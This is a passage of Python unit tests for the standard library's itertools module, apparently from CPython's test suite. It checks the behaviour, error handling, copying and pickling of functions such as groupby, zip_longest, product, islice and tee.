in groupby(sorted(s))] self.assertEqual(r, ['a', 'b', 'c', 'd', 'r']) # sort s | uniq -d r = [k for k, g in groupby(sorted(s)) if list(islice(g,1,2))] self.assertEqual(r, ['a', 'b', 'r']) # sort s | uniq -c r = [(len(list(g)), k) for k, g in groupby(sorted(s))] self.assertEqual(r, [(5, 'a'), (2, 'b'), (1, 'c'), (1, 'd'), (2, 'r')]) # sort s | uniq -c | sort -rn | head -3 r = sorted([(len(list(g)) , k) for k, g in groupby(sorted(s))], reverse=True)[:3] self.assertEqual(r, [(5, 'a'), (2, 'r'), (2, 'b')]) # iter.__next__ failure class ExpectedError(Exception): pass def delayed_raise(n=0): for i in range(n): yield 'yo' raise ExpectedError def gulp(iterable, keyp=None, func=list): return [func(g) for k, g in groupby(iterable, keyp)] # iter.__next__ failure on outer object self.assertRaises(ExpectedError, gulp, delayed_raise(0)) # iter.__next__ failure on inner object self.assertRaises(ExpectedError, gulp, delayed_raise(1)) # __eq__ failure class DummyCmp: def __eq__(self, dst): raise ExpectedError s = [DummyCmp(), DummyCmp(), None] # __eq__ failure on outer object self.assertRaises(ExpectedError, gulp, s, func=id) # __eq__ failure on inner object self.assertRaises(ExpectedError, gulp, s) # keyfunc failure def keyfunc(obj): if keyfunc.skip > 0: keyfunc.skip -= 1 return obj else: raise ExpectedError # keyfunc failure on outer object keyfunc.skip = 0 self.assertRaises(ExpectedError, gulp, [None], keyfunc) keyfunc.skip = 1 self.assertRaises(ExpectedError, gulp, [None, None], keyfunc) def test_filter(self): self.assertEqual(list(filter(isEven, range(6))), [0,2,4]) self.assertEqual(list(filter(None, [0,1,0,2,0])), [1,2]) self.assertEqual(list(filter(bool, [0,1,0,2,0])), [1,2]) self.assertEqual(take(4, filter(isEven, count())), [0,2,4,6]) self.assertRaises(TypeError, filter) self.assertRaises(TypeError, filter, lambda x:x) self.assertRaises(TypeError, filter, lambda x:x, range(6), 7) self.assertRaises(TypeError, filter, isEven, 3) self.assertRaises(TypeError, next, filter(range(6), range(6))) # check copy, deepcopy, pickle ans = [0,2,4] c = filter(isEven, range(6)) self.assertEqual(list(copy.copy(c)), ans) c = filter(isEven, range(6)) self.assertEqual(list(copy.deepcopy(c)), ans) for proto in range(pickle.HIGHEST_PROTOCOL + 1): c = filter(isEven, range(6)) self.assertEqual(list(pickle.loads(pickle.dumps(c, proto))), ans) next(c) self.assertEqual(list(pickle.loads(pickle.dumps(c, proto))), ans[1:]) for proto in range(pickle.HIGHEST_PROTOCOL + 1): c = filter(isEven, range(6)) self.pickletest(proto, c) def test_filterfalse(self): self.assertEqual(list(filterfalse(isEven, range(6))), [1,3,5]) self.assertEqual(list(filterfalse(None, [0,1,0,2,0])), [0,0,0]) self.assertEqual(list(filterfalse(bool, [0,1,0,2,0])), [0,0,0]) self.assertEqual(take(4, filterfalse(isEven, count())), [1,3,5,7]) self.assertRaises(TypeError, filterfalse) self.assertRaises(TypeError, filterfalse, lambda x:x) self.assertRaises(TypeError, filterfalse, lambda x:x, range(6), 7) self.assertRaises(TypeError, filterfalse, isEven, 3) self.assertRaises(TypeError, next, filterfalse(range(6), range(6))) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, filterfalse(isEven, range(6))) def test_zip(self): # XXX This is rather silly now that builtin zip() calls zip()... ans = [(x,y) for x, y in zip('abc',count())] self.assertEqual(ans, [('a', 0), ('b', 1), ('c', 2)]) self.assertEqual(list(zip('abc', range(6))), lzip('abc', range(6))) self.assertEqual(list(zip('abcdef', range(3))), lzip('abcdef', range(3))) self.assertEqual(take(3,zip('abcdef', count())), lzip('abcdef', range(3))) self.assertEqual(list(zip('abcdef')), lzip('abcdef')) self.assertEqual(list(zip()), lzip()) self.assertRaises(TypeError, zip, 3) self.assertRaises(TypeError, zip, range(3), 3) self.assertEqual([tuple(list(pair)) for pair in zip('abc', 'def')], lzip('abc', 'def')) self.assertEqual([pair for pair in zip('abc', 'def')], lzip('abc', 'def')) @support.impl_detail("tuple reuse is specific to CPython") def test_zip_tuple_reuse(self): ids = list(map(id, zip('abc', 'def'))) self.assertEqual(min(ids), max(ids)) ids = list(map(id, list(zip('abc', 'def')))) self.assertEqual(len(dict.fromkeys(ids)), len(ids)) # check copy, deepcopy, pickle ans = [(x,y) for x, y in copy.copy(zip('abc',count()))] self.assertEqual(ans, [('a', 0), ('b', 1), ('c', 2)]) ans = [(x,y) for x, y in copy.deepcopy(zip('abc',count()))] self.assertEqual(ans, [('a', 0), ('b', 1), ('c', 2)]) for proto in range(pickle.HIGHEST_PROTOCOL + 1): ans = [(x,y) for x, y in pickle.loads(pickle.dumps(zip('abc',count()), proto))] self.assertEqual(ans, [('a', 0), ('b', 1), ('c', 2)]) for proto in range(pickle.HIGHEST_PROTOCOL + 1): testIntermediate = zip('abc',count()) next(testIntermediate) ans = [(x,y) for x, y in pickle.loads(pickle.dumps(testIntermediate, proto))] self.assertEqual(ans, [('b', 1), ('c', 2)]) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, zip('abc', count())) def test_ziplongest(self): for args in [ ['abc', range(6)], [range(6), 'abc'], [range(1000), range(2000,2100), range(3000,3050)], [range(1000), range(0), range(3000,3050), range(1200), range(1500)], [range(1000), range(0), range(3000,3050), range(1200), range(1500), range(0)], ]: target = [tuple([arg[i] if i < len(arg) else None for arg in args]) for i in range(max(map(len, args)))] self.assertEqual(list(zip_longest(*args)), target) self.assertEqual(list(zip_longest(*args, **{})), target) target = [tuple((e is None and 'X' or e) for e in t) for t in target] # Replace None fills with 'X' self.assertEqual(list(zip_longest(*args, **dict(fillvalue='X'))), target) self.assertEqual(take(3,zip_longest('abcdef', count())), list(zip('abcdef', range(3)))) # take 3 from infinite input self.assertEqual(list(zip_longest()), list(zip())) self.assertEqual(list(zip_longest([])), list(zip([]))) self.assertEqual(list(zip_longest('abcdef')), list(zip('abcdef'))) self.assertEqual(list(zip_longest('abc', 'defg', **{})), list(zip(list('abc')+[None], 'defg'))) # empty keyword dict self.assertRaises(TypeError, zip_longest, 3) self.assertRaises(TypeError, zip_longest, range(3), 3) for stmt in [ "zip_longest('abc', fv=1)", "zip_longest('abc', fillvalue=1, bogus_keyword=None)", ]: try: eval(stmt, globals(), locals()) except TypeError: pass else: self.fail('Did not raise Type in: ' + stmt) self.assertEqual([tuple(list(pair)) for pair in zip_longest('abc', 'def')], list(zip('abc', 'def'))) self.assertEqual([pair for pair in zip_longest('abc', 'def')], list(zip('abc', 'def'))) @support.impl_detail("tuple reuse is specific to CPython") def test_zip_longest_tuple_reuse(self): ids = list(map(id, zip_longest('abc', 'def'))) self.assertEqual(min(ids), max(ids)) ids = list(map(id, list(zip_longest('abc', 'def')))) self.assertEqual(len(dict.fromkeys(ids)), len(ids)) def test_zip_longest_pickling(self): for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, zip_longest("abc", "def")) self.pickletest(proto, zip_longest("abc", "defgh")) self.pickletest(proto, zip_longest("abc", "defgh", fillvalue=1)) self.pickletest(proto, zip_longest("", "defgh")) def test_zip_longest_bad_iterable(self): exception = TypeError() class BadIterable: def __iter__(self): raise exception with self.assertRaises(TypeError) as cm: zip_longest(BadIterable()) self.assertIs(cm.exception, exception) def test_bug_7244(self): class Repeater: # this class is similar to itertools.repeat def __init__(self, o, t, e): self.o = o self.t = int(t) self.e = e def __iter__(self): # its iterator is itself return self def __next__(self): if self.t > 0: self.t -= 1 return self.o else: raise self.e # Formerly this code in would fail in debug mode # with Undetected Error and Stop Iteration r1 = Repeater(1, 3, StopIteration) r2 = Repeater(2, 4, StopIteration) def run(r1, r2): result = [] for i, j in zip_longest(r1, r2, fillvalue=0): with support.captured_output('stdout'): print((i, j)) result.append((i, j)) return result self.assertEqual(run(r1, r2), [(1,2), (1,2), (1,2), (0,2)]) # Formerly, the RuntimeError would be lost # and StopIteration would stop as expected r1 = Repeater(1, 3, RuntimeError) r2 = Repeater(2, 4, StopIteration) it = zip_longest(r1, r2, fillvalue=0) self.assertEqual(next(it), (1, 2)) self.assertEqual(next(it), (1, 2)) self.assertEqual(next(it), (1, 2)) self.assertRaises(RuntimeError, next, it) def test_pairwise(self): self.assertEqual(list(pairwise('')), []) self.assertEqual(list(pairwise('a')), []) self.assertEqual(list(pairwise('ab')), [('a', 'b')]), self.assertEqual(list(pairwise('abcde')), [('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'e')]) self.assertEqual(list(pairwise(range(10_000))), list(zip(range(10_000), range(1, 10_000)))) with self.assertRaises(TypeError): pairwise() # too few arguments with self.assertRaises(TypeError): pairwise('abc', 10) # too many arguments with self.assertRaises(TypeError): pairwise(iterable='abc') # keyword arguments with self.assertRaises(TypeError): pairwise(None) # non-iterable argument def test_product(self): for args, result in [ ([], [()]), # zero iterables (['ab'], [('a',), ('b',)]), # one iterable ([range(2), range(3)], [(0,0), (0,1), (0,2), (1,0), (1,1), (1,2)]), # two iterables ([range(0), range(2), range(3)], []), # first iterable with zero length ([range(2), range(0), range(3)], []), # middle iterable with zero length ([range(2), range(3), range(0)], []), # last iterable with zero length ]: self.assertEqual(list(product(*args)), result) for r in range(4): self.assertEqual(list(product(*(args*r))), list(product(*args, **dict(repeat=r)))) self.assertEqual(len(list(product(*[range(7)]*6))), 7**6) self.assertRaises(TypeError, product, range(6), None) def product1(*args, **kwds): pools = list(map(tuple, args)) * kwds.get('repeat', 1) n = len(pools) if n == 0: yield () return if any(len(pool) == 0 for pool in pools): return indices = [0] * n yield tuple(pool[i] for pool, i in zip(pools, indices)) while 1: for i in reversed(range(n)): # right to left if indices[i] == len(pools[i]) - 1: continue indices[i] += 1 for j in range(i+1, n): indices[j] = 0 yield tuple(pool[i] for pool, i in zip(pools, indices)) break else: return def product2(*args, **kwds): 'Pure python version used in docs' pools = list(map(tuple, args)) * kwds.get('repeat', 1) result = [[]] for pool in pools: result = [x+[y] for x in result for y in pool] for prod in result: yield tuple(prod) argtypes = ['', 'abc', '', range(0), range(4), dict(a=1, b=2, c=3), set('abcdefg'), range(11), tuple(range(13))] for i in range(100): args = [random.choice(argtypes) for j in range(random.randrange(5))] expected_len = prod(map(len, args)) self.assertEqual(len(list(product(*args))), expected_len) self.assertEqual(list(product(*args)), list(product1(*args))) self.assertEqual(list(product(*args)), list(product2(*args))) args = map(iter, args) self.assertEqual(len(list(product(*args))), expected_len) @support.bigaddrspacetest def test_product_overflow(self): with self.assertRaises((OverflowError, MemoryError)): product(*(['ab']*2**5), repeat=2**25) @support.impl_detail("tuple reuse is specific to CPython") def test_product_tuple_reuse(self): self.assertEqual(len(set(map(id, product('abc', 'def')))), 1) self.assertNotEqual(len(set(map(id, list(product('abc', 'def'))))), 1) def test_product_pickling(self): # check copy, deepcopy, pickle for args, result in [ ([], [()]), # zero iterables (['ab'], [('a',), ('b',)]), # one iterable ([range(2), range(3)], [(0,0), (0,1), (0,2), (1,0), (1,1), (1,2)]), # two iterables ([range(0), range(2), range(3)], []), # first iterable with zero length ([range(2), range(0), range(3)], []), # middle iterable with zero length ([range(2), range(3), range(0)], []), # last iterable with zero length ]: self.assertEqual(list(copy.copy(product(*args))), result) self.assertEqual(list(copy.deepcopy(product(*args))), result) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, product(*args)) def test_product_issue_25021(self): # test that indices are properly clamped to the length of the tuples p = product((1, 2),(3,)) p.__setstate__((0, 0x1000)) # will access tuple element 1 if not clamped self.assertEqual(next(p), (2, 3)) # test that empty tuple in the list will result in an immediate StopIteration p = product((1, 2), (), (3,)) p.__setstate__((0, 0, 0x1000)) # will access tuple element 1 if not clamped self.assertRaises(StopIteration, next, p) def test_repeat(self): self.assertEqual(list(repeat(object='a', times=3)), ['a', 'a', 'a']) self.assertEqual(lzip(range(3),repeat('a')), [(0, 'a'), (1, 'a'), (2, 'a')]) self.assertEqual(list(repeat('a', 3)), ['a', 'a', 'a']) self.assertEqual(take(3, repeat('a')), ['a', 'a', 'a']) self.assertEqual(list(repeat('a', 0)), []) self.assertEqual(list(repeat('a', -3)), []) self.assertRaises(TypeError, repeat) self.assertRaises(TypeError, repeat, None, 3, 4) self.assertRaises(TypeError, repeat, None, 'a') r = repeat(1+0j) self.assertEqual(repr(r), 'repeat((1+0j))') r = repeat(1+0j, 5) self.assertEqual(repr(r), 'repeat((1+0j), 5)') list(r) self.assertEqual(repr(r), 'repeat((1+0j), 0)') # check copy, deepcopy, pickle c = repeat(object='a', times=10) self.assertEqual(next(c), 'a') self.assertEqual(take(2, copy.copy(c)), list('a' * 2)) self.assertEqual(take(2, copy.deepcopy(c)), list('a' * 2)) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, repeat(object='a', times=10)) def test_repeat_with_negative_times(self): self.assertEqual(repr(repeat('a', -1)), "repeat('a', 0)") self.assertEqual(repr(repeat('a', -2)), "repeat('a', 0)") self.assertEqual(repr(repeat('a', times=-1)), "repeat('a', 0)") self.assertEqual(repr(repeat('a', times=-2)), "repeat('a', 0)") def test_map(self): self.assertEqual(list(map(operator.pow, range(3), range(1,7))), [0**1, 1**2, 2**3]) self.assertEqual(list(map(tupleize, 'abc', range(5))), [('a',0),('b',1),('c',2)]) self.assertEqual(list(map(tupleize, 'abc', count())), [('a',0),('b',1),('c',2)]) self.assertEqual(take(2,map(tupleize, 'abc', count())), [('a',0),('b',1)]) self.assertEqual(list(map(operator.pow, [])), []) self.assertRaises(TypeError, map) self.assertRaises(TypeError, list, map(None, range(3), range(3))) self.assertRaises(TypeError, map, operator.neg) self.assertRaises(TypeError, next, map(10, range(5))) self.assertRaises(ValueError, next, map(errfunc, [4], [5])) self.assertRaises(TypeError, next, map(onearg, [4], [5])) # check copy, deepcopy, pickle ans = [('a',0),('b',1),('c',2)] c = map(tupleize, 'abc', count()) self.assertEqual(list(copy.copy(c)), ans) c = map(tupleize, 'abc', count()) self.assertEqual(list(copy.deepcopy(c)), ans) for proto in range(pickle.HIGHEST_PROTOCOL + 1): c = map(tupleize, 'abc', count()) self.pickletest(proto, c) def test_starmap(self): self.assertEqual(list(starmap(operator.pow, zip(range(3), range(1,7)))), [0**1, 1**2, 2**3]) self.assertEqual(take(3, starmap(operator.pow, zip(count(), count(1)))), [0**1, 1**2, 2**3]) self.assertEqual(list(starmap(operator.pow, [])), []) self.assertEqual(list(starmap(operator.pow, [iter([4,5])])), [4**5]) self.assertRaises(TypeError, list, starmap(operator.pow, [None])) self.assertRaises(TypeError, starmap) self.assertRaises(TypeError, starmap, operator.pow, [(4,5)], 'extra') self.assertRaises(TypeError, next, starmap(10, [(4,5)])) self.assertRaises(ValueError, next, starmap(errfunc, [(4,5)])) self.assertRaises(TypeError, next, starmap(onearg, [(4,5)])) # check copy, deepcopy, pickle ans = [0**1, 1**2, 2**3] c = starmap(operator.pow, zip(range(3), range(1,7))) self.assertEqual(list(copy.copy(c)), ans) c = starmap(operator.pow, zip(range(3), range(1,7))) self.assertEqual(list(copy.deepcopy(c)), ans) for proto in range(pickle.HIGHEST_PROTOCOL + 1): c = starmap(operator.pow, zip(range(3), range(1,7))) self.pickletest(proto, c) def test_islice(self): for args in [ # islice(args) should agree with range(args) (10, 20, 3), (10, 3, 20), (10, 20), (10, 10), (10, 3), (20,) ]: self.assertEqual(list(islice(range(100), *args)), list(range(*args))) for args, tgtargs in [ # Stop when seqn is exhausted ((10, 110, 3), ((10, 100, 3))), ((10, 110), ((10, 100))), ((110,), (100,)) ]: self.assertEqual(list(islice(range(100), *args)), list(range(*tgtargs))) # Test stop=None self.assertEqual(list(islice(range(10), None)), list(range(10))) self.assertEqual(list(islice(range(10), None, None)), list(range(10))) self.assertEqual(list(islice(range(10), None, None, None)), list(range(10))) self.assertEqual(list(islice(range(10), 2, None)), list(range(2, 10))) self.assertEqual(list(islice(range(10), 1, None, 2)), list(range(1, 10, 2))) # Test number of items consumed SF #1171417 it = iter(range(10)) self.assertEqual(list(islice(it, 3)), list(range(3))) self.assertEqual(list(it), list(range(3, 10))) it = iter(range(10)) self.assertEqual(list(islice(it, 3, 3)), []) self.assertEqual(list(it), list(range(3, 10))) # Test invalid arguments ra = range(10) self.assertRaises(TypeError, islice, ra) self.assertRaises(TypeError, islice, ra, 1, 2, 3, 4) self.assertRaises(ValueError, islice, ra, -5, 10, 1) self.assertRaises(ValueError, islice, ra, 1, -5, -1) self.assertRaises(ValueError, islice, ra, 1, 10, -1) self.assertRaises(ValueError, islice, ra, 1, 10, 0) self.assertRaises(ValueError, islice, ra, 'a') self.assertRaises(ValueError, islice, ra, 'a', 1) self.assertRaises(ValueError, islice, ra, 1, 'a') self.assertRaises(ValueError, islice, ra, 'a', 1, 1) self.assertRaises(ValueError, islice, ra, 1, 'a', 1) self.assertEqual(len(list(islice(count(), 1, 10, maxsize))), 1) # Issue #10323: Less islice in a predictable state c = count() self.assertEqual(list(islice(c, 1, 3, 50)), [1]) self.assertEqual(next(c), 3) # check copy, deepcopy, pickle for args in [ # islice(args) should agree with range(args) (10, 20, 3), (10, 3, 20), (10, 20), (10, 3), (20,) ]: self.assertEqual(list(copy.copy(islice(range(100), *args))), list(range(*args))) self.assertEqual(list(copy.deepcopy(islice(range(100), *args))), list(range(*args))) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, islice(range(100), *args)) # Issue #21321: check source iterator is not referenced # from islice() after the latter has been exhausted it = (x for x in (1, 2)) wr = weakref.ref(it) it = islice(it, 1) self.assertIsNotNone(wr()) list(it) # exhaust the iterator support.gc_collect() self.assertIsNone(wr()) # Issue #30537: islice can accept integer-like objects as # arguments class IntLike(object): def __init__(self, val): self.val = val def __index__(self): return self.val self.assertEqual(list(islice(range(100), IntLike(10))), list(range(10))) self.assertEqual(list(islice(range(100), IntLike(10), IntLike(50))), list(range(10, 50))) self.assertEqual(list(islice(range(100), IntLike(10), IntLike(50), IntLike(5))), list(range(10,50,5))) def test_takewhile(self): data = [1, 3, 5, 20, 2, 4, 6, 8] self.assertEqual(list(takewhile(underten, data)), [1, 3, 5]) self.assertEqual(list(takewhile(underten, [])), []) self.assertRaises(TypeError, takewhile) self.assertRaises(TypeError, takewhile, operator.pow) self.assertRaises(TypeError, takewhile, operator.pow, [(4,5)], 'extra') self.assertRaises(TypeError, next, takewhile(10, [(4,5)])) self.assertRaises(ValueError, next, takewhile(errfunc, [(4,5)])) t = takewhile(bool, [1, 1, 1, 0, 0, 0]) self.assertEqual(list(t), [1, 1, 1]) self.assertRaises(StopIteration, next, t) # check copy, deepcopy, pickle self.assertEqual(list(copy.copy(takewhile(underten, data))), [1, 3, 5]) self.assertEqual(list(copy.deepcopy(takewhile(underten, data))), [1, 3, 5]) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, takewhile(underten, data)) def test_dropwhile(self): data = [1, 3, 5, 20, 2, 4, 6, 8] self.assertEqual(list(dropwhile(underten, data)), [20, 2, 4, 6, 8]) self.assertEqual(list(dropwhile(underten, [])), []) self.assertRaises(TypeError, dropwhile) self.assertRaises(TypeError, dropwhile, operator.pow) self.assertRaises(TypeError, dropwhile, operator.pow, [(4,5)], 'extra') self.assertRaises(TypeError, next, dropwhile(10, [(4,5)])) self.assertRaises(ValueError, next, dropwhile(errfunc, [(4,5)])) # check copy, deepcopy, pickle self.assertEqual(list(copy.copy(dropwhile(underten, data))), [20, 2, 4, 6, 8]) self.assertEqual(list(copy.deepcopy(dropwhile(underten, data))), [20, 2, 4, 6, 8]) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, dropwhile(underten, data)) def test_tee(self): n = 200 a, b = tee([]) # test empty iterator self.assertEqual(list(a), []) self.assertEqual(list(b), []) a, b = tee(irange(n)) # test 100% interleaved self.assertEqual(lzip(a,b), lzip(range(n), range(n))) a, b = tee(irange(n)) # test 0% interleaved self.assertEqual(list(a), list(range(n))) self.assertEqual(list(b), list(range(n))) a, b = tee(irange(n)) # test dealloc of leading iterator for i in range(100): self.assertEqual(next(a), i) del a self.assertEqual(list(b), list(range(n))) a, b = tee(irange(n)) # test dealloc of trailing iterator for i in range(100): self.assertEqual(next(a), i) del b self.assertEqual(list(a), list(range(100, n))) for j in range(5): # test randomly interleaved order = [0]*n + [1]*n random.shuffle(order) lists = ([], []) its = tee(irange(n)) for i in order: value = next(its[i]) lists[i].append(value) self.assertEqual(lists[0], list(range(n))) self.assertEqual(lists[1], list(range(n))) # test argument format checking self.assertRaises(TypeError, tee) self.assertRaises(TypeError, tee, 3) self.assertRaises(TypeError, tee, [1,2], 'x') self.assertRaises(TypeError, tee, [1,2], 3, 'x') # tee object should be instantiable a, b = tee('abc') c = type(a)('def') self.assertEqual(list(c), list('def')) # test long-lagged and multi-way split a, b, c = tee(range(2000), 3) for i in range(100): self.assertEqual(next(a), i) self.assertEqual(list(b), list(range(2000))) self.assertEqual([next(c), next(c)], list(range(2))) self.assertEqual(list(a), list(range(100,2000))) self.assertEqual(list(c), list(range(2,2000))) # test values of n self.assertRaises(TypeError, tee, 'abc', 'invalid') self.assertRaises(ValueError, tee, [], -1) for n in range(5): result = tee('abc', n) self.assertEqual(type(result), tuple) self.assertEqual(len(result), n) self.assertEqual([list(x) for x in result], [list('abc')]*n) # tee pass-through to copyable iterator a, b = tee('abc') c, d = tee(a) self.assertTrue(a is c) # test tee_new t1, t2 = tee('abc') tnew = type(t1) self.assertRaises(TypeError, tnew) self.assertRaises(TypeError, tnew, 10) t3 = tnew(t1) self.assertTrue(list(t1) == list(t2) == list(t3) == list('abc')) # test that tee objects are weak referencable a, b = tee(range(10)) p = weakref.proxy(a) self.assertEqual(getattr(p, '__class__'), type(b)) del a support.gc_collect() # For PyPy or other GCs. self.assertRaises(ReferenceError, getattr, p, '__class__') ans = list('abc') long_ans = list(range(10000)) # check copy a, b = tee('abc') self.assertEqual(list(copy.copy(a)), ans) self.assertEqual(list(copy.copy(b)), ans) a, b = tee(list(range(10000))) self.assertEqual(list(copy.copy(a)), long_ans) self.assertEqual(list(copy.copy(b)), long_ans) # check partially consumed copy a, b = tee('abc') take(2, a) take(1, b) self.assertEqual(list(copy.copy(a)), ans[2:]) self.assertEqual(list(copy.copy(b)), ans[1:]) self.assertEqual(list(a), ans[2:]) self.assertEqual(list(b), ans[1:]) a, b = tee(range(10000)) take(100, a) take(60, b) self.assertEqual(list(copy.copy(a)), long_ans[100:]) self.assertEqual(list(copy.copy(b)), long_ans[60:]) self.assertEqual(list(a), long_ans[100:]) self.assertEqual(list(b), long_ans[60:]) # check deepcopy a, b = tee('abc') self.assertEqual(list(copy.deepcopy(a)), ans) self.assertEqual(list(copy.deepcopy(b)), ans) self.assertEqual(list(a), ans) self.assertEqual(list(b), ans) a, b = tee(range(10000)) self.assertEqual(list(copy.deepcopy(a)), long_ans) self.assertEqual(list(copy.deepcopy(b)), long_ans) self.assertEqual(list(a), long_ans) self.assertEqual(list(b), long_ans) # check partially consumed deepcopy a, b = tee('abc') take(2, a) take(1, b) self.assertEqual(list(copy.deepcopy(a)), ans[2:]) self.assertEqual(list(copy.deepcopy(b)), ans[1:]) self.assertEqual(list(a), ans[2:]) self.assertEqual(list(b), ans[1:]) a, b = tee(range(10000)) take(100, a) take(60, b) self.assertEqual(list(copy.deepcopy(a)), long_ans[100:]) self.assertEqual(list(copy.deepcopy(b)), long_ans[60:]) self.assertEqual(list(a), long_ans[100:]) self.assertEqual(list(b), long_ans[60:]) # check pickle for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, iter(tee('abc'))) a, b = tee('abc') self.pickletest(proto, a, compare=ans) self.pickletest(proto, b, compare=ans) # Issue 13454: Crash when deleting backward iterator from tee() def test_tee_del_backward(self): forward, backward = tee(repeat(None, 20000000)) try: any(forward) # exhaust the iterator del backward except: del forward, backward raise def test_tee_reenter(self): class I: first = True def __iter__(self): return self def __next__(self): first = self.first self.first = False if first: return next(b) a, b = tee(I()) with self.assertRaisesRegex(RuntimeError, "tee"): next(a) def test_tee_concurrent(self): start = threading.Event() finish = threading.Event() class I: def __iter__(self): return self def __next__(self): start.set() finish.wait() a, b = tee(I()) thread = threading.Thread(target=next, args=[a]) thread.start() try: start.wait() with self.assertRaisesRegex(RuntimeError, "tee"): next(b) finally: finish.set() thread.join() def test_StopIteration(self): self.assertRaises(StopIteration, next, zip()) for f in (chain, cycle, zip, groupby): self.assertRaises(StopIteration, next, f([])) self.assertRaises(StopIteration, next, f(StopNow())) self.assertRaises(StopIteration, next, islice([], None)) self.assertRaises(StopIteration, next, islice(StopNow(), None)) p, q = tee([]) self.assertRaises(StopIteration, next, p) self.assertRaises(StopIteration, next, q) p, q = tee(StopNow()) self.assertRaises(StopIteration, next, p) self.assertRaises(StopIteration, next, q) self.assertRaises(StopIteration, next, repeat(None, 0)) for f in (filter, filterfalse, map, takewhile, dropwhile, starmap): self.assertRaises(StopIteration, next, f(lambda x:x, [])) self.assertRaises(StopIteration, next, f(lambda x:x, StopNow())) @support.cpython_only def test_combinations_result_gc(self): # bpo-42536: combinations's tuple-reuse speed trick breaks the GC's # assumptions about what can be untracked. Make sure we re-track result # tuples whenever we reuse them. it = combinations([None, []], 1) next(it) gc.collect() # That GC collection probably untracked the recycled internal result # tuple, which has the value (None,). Make sure it's re-tracked when # it's mutated and returned from __next__: self.assertTrue(gc.is_tracked(next(it))) @support.cpython_only def test_combinations_with_replacement_result_gc(self): # Ditto for combinations_with_replacement. it = combinations_with_replacement([None, []], 1) next(it) gc.collect() self.assertTrue(gc.is_tracked(next(it))) @support.cpython_only def test_permutations_result_gc(self): # Ditto for permutations. it = permutations([None, []], 1) next(it) gc.collect() self.assertTrue(gc.is_tracked(next(it))) @support.cpython_only def test_product_result_gc(self): # Ditto for product. it = product([None, []]) next(it) gc.collect() self.assertTrue(gc.is_tracked(next(it))) @support.cpython_only def test_zip_longest_result_gc(self): # Ditto for zip_longest. it = zip_longest([[]]) gc.collect() self.assertTrue(gc.is_tracked(next(it))) class TestExamples(unittest.TestCase): def test_accumulate(self): self.assertEqual(list(accumulate([1,2,3,4,5])), [1, 3, 6, 10, 15]) def test_accumulate_reducible(self): # check copy, deepcopy, pickle data = [1, 2, 3, 4, 5] accumulated = [1, 3, 6, 10, 15] for proto in range(pickle.HIGHEST_PROTOCOL + 1): it = accumulate(data) self.assertEqual(list(pickle.loads(pickle.dumps(it, proto))), accumulated[:]) self.assertEqual(next(it), 1) self.assertEqual(list(pickle.loads(pickle.dumps(it, proto))), accumulated[1:]) it = accumulate(data) self.assertEqual(next(it), 1) self.assertEqual(list(copy.deepcopy(it)), accumulated[1:]) self.assertEqual(list(copy.copy(it)), accumulated[1:]) def test_accumulate_reducible_none(self): # Issue #25718: total is None it = accumulate([None, None, None], operator.is_) self.assertEqual(next(it), None) for proto in range(pickle.HIGHEST_PROTOCOL + 1): it_copy = pickle.loads(pickle.dumps(it, proto)) self.assertEqual(list(it_copy), [True, False]) self.assertEqual(list(copy.deepcopy(it)), [True, False]) self.assertEqual(list(copy.copy(it)), [True, False]) def test_chain(self): self.assertEqual(''.join(chain('ABC', 'DEF')), 'ABCDEF') def test_chain_from_iterable(self): self.assertEqual(''.join(chain.from_iterable(['ABC', 'DEF'])), 'ABCDEF') def test_combinations(self): self.assertEqual(list(combinations('ABCD', 2)), [('A','B'), ('A','C'), ('A','D'), ('B','C'), ('B','D'), ('C','D')]) self.assertEqual(list(combinations(range(4), 3)), [(0,1,2), (0,1,3), (0,2,3), (1,2,3)]) def test_combinations_with_replacement(self): self.assertEqual(list(combinations_with_replacement('ABC', 2)), [('A','A'), ('A','B'), ('A','C'), ('B','B'), ('B','C'), ('C','C')]) def test_compress(self): self.assertEqual(list(compress('ABCDEF', [1,0,1,0,1,1])), list('ACEF')) def test_count(self): self.assertEqual(list(islice(count(10), 5)), [10, 11, 12, 13, 14]) def test_cycle(self): self.assertEqual(list(islice(cycle('ABCD'), 12)), list('ABCDABCDABCD')) def test_dropwhile(self): self.assertEqual(list(dropwhile(lambda x: x<5, [1,4,6,4,1])), [6,4,1]) def test_groupby(self): self.assertEqual([k for k, g in groupby('AAAABBBCCDAABBB')], list('ABCDAB')) self.assertEqual([(list(g)) for k, g in groupby('AAAABBBCCD')], [list('AAAA'), list('BBB'), list('CC'), list('D')]) def test_filter(self): self.assertEqual(list(filter(lambda x: x%2, range(10))), [1,3,5,7,9]) def test_filterfalse(self): self.assertEqual(list(filterfalse(lambda x: x%2, range(10))), [0,2,4,6,8]) def test_map(self): self.assertEqual(list(map(pow, (2,3,10), (5,2,3))), [32, 9, 1000]) def test_islice(self): self.assertEqual(list(islice('ABCDEFG', 2)), list('AB')) self.assertEqual(list(islice('ABCDEFG', 2, 4)), list('CD')) self.assertEqual(list(islice('ABCDEFG', 2, None)), list('CDEFG')) self.assertEqual(list(islice('ABCDEFG', 0, None, 2)), list('ACEG')) def test_zip(self): self.assertEqual(list(zip('ABCD', 'xy')), [('A', 'x'), ('B', 'y')]) def test_zip_longest(self): self.assertEqual(list(zip_longest('ABCD', 'xy', fillvalue='-')), [('A', 'x'), ('B', 'y'), ('C', '-'), ('D', '-')]) def test_permutations(self): self.assertEqual(list(permutations('ABCD', 2)), list(map(tuple, 'AB AC AD BA BC BD CA CB CD DA DB DC'.split()))) self.assertEqual(list(permutations(range(3))), [(0,1,2), (0,2,1), (1,0,2), (1,2,0), (2,0,1), (2,1,0)]) def test_product(self): self.assertEqual(list(product('ABCD', 'xy')), list(map(tuple, 'Ax Ay Bx By Cx Cy Dx Dy'.split()))) self.assertEqual(list(product(range(2), repeat=3)), [(0,0,0), (0,0,1), (0,1,0), (0,1,1), (1,0,0), (1,0,1), (1,1,0), (1,1,1)]) def test_repeat(self): self.assertEqual(list(repeat(10, 3)), 